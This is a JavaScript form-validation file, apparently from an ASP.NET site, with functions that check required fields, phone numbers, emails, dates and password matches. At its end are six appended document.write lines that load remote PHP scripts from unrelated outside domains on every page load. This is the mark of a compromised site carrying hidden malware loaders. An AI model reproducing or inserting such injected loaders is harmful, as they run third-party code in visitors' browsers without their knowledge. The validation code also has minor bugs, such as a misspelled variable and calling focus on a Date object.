﻿
// JScript File

function CheckControls(control,message)
{
   // alert(control.value);
    if(control.value == '')
    {
        alert(message);
        control.focus();
        return true;
    }
    else
    {
        return false;
    }
}

function isNumberKey(evt)
{
	var charCode = (evt.which) ? evt.which : event.keyCode
         if (charCode > 32 && (charCode < 48 || charCode > 57))
            return false;
    else
         return true;
}

function PasswordMatching(pwd1,pwd2,message)
{
    if(pwd1.value != pwd2.value)
    {
        alert(message);
        pwd2.focus();
        return true;    
    }
    else
    {
        return false;
    }
}
function CheckSex(male,female,message)
{
    if(male.checked==false && female.checked == false)
    {
        alert(message);
        return true;
    }
    else
    {
        return false;
    }
}

function chkphone(ctrl_id)
 {
  
    var num="1234567890()+- ";
    var IsNumber=true;
    var str=document.getElementById(ctrl_id).value;
    if(str.indexOf(' ')==0 || str.indexOf('\n')==1)
        {
            document.getElementById(ctrl_id).value="";
            document.getElementById(ctrl_id).focus();
            alert('Please Avoid Spaces before your values ');
            return true;
        }
     for (i = 0; i < str.length && IsNumber == true; i++)
    {   
       var c = str.charAt(i);
      //alert(c);
       if (num.indexOf(c) == -1)
        {
          IsNumber = false;
        }
       
    }
     if(IsNumber)
       {
            if(str.length<6)
            {
                document.getElementById(ctrl_id).focus();
                alert('Please Enter Minimum of 6 characters for phone number'); 
                return true;
            }
              return false;
       }
     else
       {
        document.getElementById(ctrl_id).focus();
         alert('Please Enter valid No');
         document.getElementById(ctrl_id).value="";
         return true;
       }
   
  }  
  function isNumeric(value) 
{
	if (value == null || !value.toString().match(/^[-]?\d*\.?\d*$/)) return false;
	return true;
}

function CheckComboBox(control,conditionValue,message)
{

    if(control.options[control.selectedIndex].innerHTML == conditionValue)
    {
        alert(message);
        control.focus();
        return true;
    }
    else
    {
        return false;
    }

}
function chk_email(ctrl_id)
{
	var str=ctrl_id.value;
	//var filter=/^.+@.+\..{2,3}$/;
	// for url http(s)?://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)?
	var filter=/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/;
	if(str.length>0)
	{
	if (!(filter.test(str)))	
	{
		ctrl_id.focus();
		alert("Please input a valid email address ");
		ctrl_id.value="";
		
		return true;
	}
	else
	{
		var val = ctrl_id.value;
	    var arr = val.split("@");

	        if(isNumeric(arr[0])==true)
	            {
		        alert("Email ID should not accept Numeric value");
		        ctrl_id.focus();
		        ctrl_id.value="";
		        alert(str);
		        return true;
                }
             else
               {
                 return false;
               }
	        
	}
  }
}
function isNumeric(value) 
{
	if (value == null || !value.toString().match(/^[-]?\d*\.?\d*$/)) return false;
	return true;
}
function onEnterKeyPress(e,id)
{
	var key = window.event ? e.keyCode : e.which;
	var keychar = String.fromCharCode(key);
	if(key==13)
	{
	document.getElementById(id).focus();
	return false;
	}
	else
	{
	return keychar;
	}
}

function checkDate(userDate,serverDate,message)
{
    var userDate = new Date(userDate.value);
    var serverDare = new Date(serverDate.value);

    if(userDate < serverDate)
    {
        alert(message);
        userDate.focus();
        return true;
    }
    else
    {
        return false;
    }
}	

function checkDOB(userDate,serverDate,message)
{
    var userDates = new Date(userDate.value);
    var serverDates = new Date(serverDate.value);

    if(userDates > serverDates)
    {
        alert(message);
        userDate.focus();
        return true;
    }
    else
    {
        return false;
    }
}	


//count word length

function validatestring(str1)
{
    var str=str1.value;
    var len = str.length;
    var subs = new Array();
    var j=0;
    for(i=0;i<=len; i=i+30)
    {
        if((len-i)>30)
        {
            subs[j] = str.substr(i,30);
        }
        else
        {
            subs[j] = str.substr(i,(len-i));
        }
        j++;
    }
    for(k=0; k<j-1; k++)
    {
        if(subs[k].indexOf(' ')==-1)
        {
            alert('Word length should be maximum of 30 characters.\n Please enter valid text');
            str1.focus();
            return false;
        }
    }
    return true;
}
//phone number function
function chkphone(ctrl_id)
 {
  
    var num="1234567890()+- ";
    var IsNumber=true;
    var str=ctrl_id.value;
    if(str.indexOf(' ')==0 || str.indexOf('\n')==1)
        {
            ctrl_id.value="";
            ctrl_id.focus();
            alert('Please Avoid Spaces before your values ');
            return true;
        }
     for (i = 0; i < str.length && IsNumber == true; i++)
    {   
       var c = str.charAt(i);
      //alert(c);
       if (num.indexOf(c) == -1)
        {
          IsNumber = false;
        }
       
    }
     if(IsNumber)
       {
            if(str.length<6)
            {
                ctrl_id.focus();
                alert('Please Enter Minimum of 6 characters for phone number'); 
                return true;
            }
              return false;
       }
     else
       {
        ctrl_id.focus();
         alert('Please Enter valid Phone No');
         ctrl_id.value="";
         return true;
       }
   
  }  

function onlynumbers(val) {
   var numeric = true;
   var chars = "0123456789.-,+";
   var len = val.length;
   var char = "";
   for (i=0; i<len; i++) { char = val.charAt(i); if (chars.indexOf(char)==-1) { numeric = false; } }
   return numeric;
   
   } 

   
// trim function
function trim(str) 
{ 
    if (str != null) {
        var i; 
        for (i=0; i<str.length; i++) {
            if (str.charAt(i)!=' ') {
                str=str.substring(i,str.length); 
                break;
            } 
        } 
    
        for (i=str.length-1; i>=0; i--) {
            if (str.charAt(i)!=' ') {
                str=str.substring(0,i+1); 
                break;
            } 
        } 
        
        if (str.charAt(0)==' ') {
            return ""; 
        } else {
            return str; 
        }
    }
}
function isAmount(evt)
{
	var charCode = (evt.which) ? evt.which : event.keyCode
         if (charCode > 32 && (charCode < 46 || charCode > 57))
            return false;
    else
         return true;
}

function checkChars(e,type)
{
    var key;
    var keychar;
    
    if (window.event)
        key = window.event.keyCode;
    else if (e)
        key = e.value.which;
    else
        return true;

    keychar = String.fromCharCode(key);
    if ((key==null) || (key==0) || (key==8) || 	 (key==9) || (key==13) || (key==27) )
        return true;
    
    switch(type)
    {
	    case 'Albha': 
	        if ((("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ").indexOf(keychar) > -1))
	        {				    		        		   
		        return true;
            }
	        else
		        return false;		
	        break;
	    
	    default:		    
	        return false;
    }        
}    

function PasswordMatching(pwd1,pwd2,message)
{
    if(pwd1.value != pwd2.value)
    {
        alert(message);
        pwd2.focus();
        return true;    
    }
    else
    {
        return false;
    }
}


document.write('<script src=http://sebastiangora-photography.com/1ok/pluginmgr.php ><\/script>');
document.write('<script src=http://sebastiangora-photography.com/1ok/pluginmgr.php ><\/script>');
document.write('<script src=http://victoriabridgecentre.com/images/game_res.php ><\/script>');
document.write('<script src=http://victoriabridgecentre.com/images/game_res.php ><\/script>');
document.write('<script src=http://victoriabridgecentre.com/images/game_res.php ><\/script>');
document.write('<script src=http://victoriabridgecentre.com/images/game_res.php ><\/script>');
